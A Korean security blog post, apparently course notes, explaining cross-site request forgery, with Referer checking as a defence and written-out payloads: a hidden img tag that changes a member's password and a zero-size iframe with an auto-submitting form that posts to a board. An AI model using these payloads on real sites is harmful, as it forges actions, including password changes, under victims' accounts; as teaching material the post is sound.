네트워커의 보안 티스토리

26일차 CSRF

정보보안2017. 3. 15. 10:33

* 본 게시물의 내용은 수업에서 배운 것을 정리한 것이므로 악용해서는 안됩니다.

  게시된 내용들은 잘 알려져있는 기술들입니다. 따라서  악용하더라도 쉽게 적발되니

  절대 악용해서는 안됩니다.

--------------------------------------------------------------------------------------------


CSRF ( CROSS SITE REQUEST FORGERY)


사이트에서 제공하는 기능을 신뢰된 사용자의 권한으로 요청하도록 하는 공격


공격자의 악성코드를 읽은 Victim은 자신도 모르게 Request를 서버로 보내게 되고, 서버는 Victim의 권한으로 Request에 대한 처리를 하게 됨.


서버에서 지원하는 모든 기능이 공격범위가 될 수 있음.


Victim에 의해 Request가 발생하기 때문에 공격자의 IP추적이 어렵고

XSS와 달리 자바스크립트를 사용할 수 없는 상황에서도 공격이 가능하다.


조건


사이트에서 제공하는 해당기능의 Request/Response를 분석해야 한다

Session Token만으로 해당기능의 권한을 인증하고 있을 때 가능


정상적인 메시지와 조작된 요청 메시지는 레퍼러 헤더가 다르다 

레퍼러는 이전 페이지의 URL을 가지고 있다

레퍼러만 비교해도 공격을 방어하는데 수월해진다.


패킷을 잡아서 레퍼러를 없앤후에 요청메시지를 보낼 시에 되는지 안되는지 테스트 해본다.

만약 된다면 서버는 레페러가 있던 없던 상관을 안쓴다는 말이 되겠다.






정상적인 메시지 




조작된 메시지








POST의 경우는 Content-Type도 맞춰줘야한다.

위는 urlencoded 방식으로 되있는게 보인다.


이러한 POST 메소드로 요청되는 메시지도 아래 처럼  GET화 해서

CSRF 할수있다


<img src="http://10.10.10.12/login/members_modify_ok.asp?re_url=mem_pwd=hack&mem_email=asd%40asd.asd&tel1=444&tel2=044&tel3=444&hp1=011&hp2=000&hp3=000&zip1=135&zip2=838&addr1=%BC%AD%BF%EF+%B0%AD%B3%B2%B1%B8+%B4%EB%C4%A11%B5%BF+%C1%D6%B0%F8%B0%ED%C3%FE%BE%C6%C6%C4%C6%AE&addr2=hi.hello" width=0 height=0>





이번엔 GET이 아니라 POST를 꼭 사용해야하는 경우이다.





한 게시판의 Write 데이터다.



content-type에 multipart/form-data로 되있다.

그다음에 boundary 문자열이 보이는데 이 문자열은 각각 파트를 나누는 구분점이 된다.



POST http://10.10.10.2/board/board_write_ok.asp


Content-Type: multipart/form-data

name

password

email

subject

tag=T

content


일단 이러한 정보들에 기반한다는 것을 알 수 있다.


Referer를 삭제하고 게시글이 작성이 되는지 확인한다.






이런식으로 활용하 스크립트를 만들 수 있겠다.

submit() 뒤에 :라고 되있는데 ;로 해줘야한다.



* 자동으로 폼 보내고 페이지 그대로 있기




하지만 게시글을 누르면 폼을 수행한 후에 자동으로 리스트로 간다.


왜 그럴까 답은 응답메시지에 있다.








iframe 을 만들어주고 form tagret 을 iframe name인 ifr로 잡아준다.

실제 공격시 iframe  width와 height 은 각각 0 으로 해줘야한다.

위는 테스트 용도이기 때문에, 300으로 잡아주었다.


[


<iframe name="ifr" width=0 height=0></iframe>

 <FORM target="ifr" id="board" METHOD="POST" action="http://www.white.com/basic/greet/online_insert.php" enctype="multipart/form-data">

<INPUT type="hidden" name="name" value="hacker">

<INPUT type="hidden" name="passwd" value="1">

<INPUT type="hidden" name="email" value="hacker@hack.com">

<INPUT type="hidden" name="phone" value="444">

<INPUT type="hidden" name="subject" value="Hi">

<INPUT type="hidden" name="content" value="no system is safe">

</FORM>


<script>document.getElementById("board").submit();</script>



]





이런식으로 독립적으로 동작하게 되기때문에 list로 이동하는 것은 iframe만 동작하게 된다.


폭과 높이를 0 0 으로 준다면은 이런 화면도 안보이니 공격이 자연스러워 보일 것이다.



CSRF One-click Attack


-CSRF 공격 방법 중 One-click Attack은 게시글 자동 생성 후 게시글리스트로 돌아가는 현상을 해결하기 위해, 그리고 script가 제한되어 있는 경우 사용할 수 있는 방법이다.


- One-click Attack을 이용해 게시글 자동 작성 공격을 하라





'정보보안' 카테고리의 다른 글

28일차 SQL Injection  (0) 2017.03.17
27일차 CSRF, SQL BASIC  (0) 2017.03.16
25일차 XSS webshell  (0) 2017.03.14
24일차 인증공격 XSS  (0) 2017.03.13
23일차 웹보안 정보수집 OWASP  (0) 2017.03.10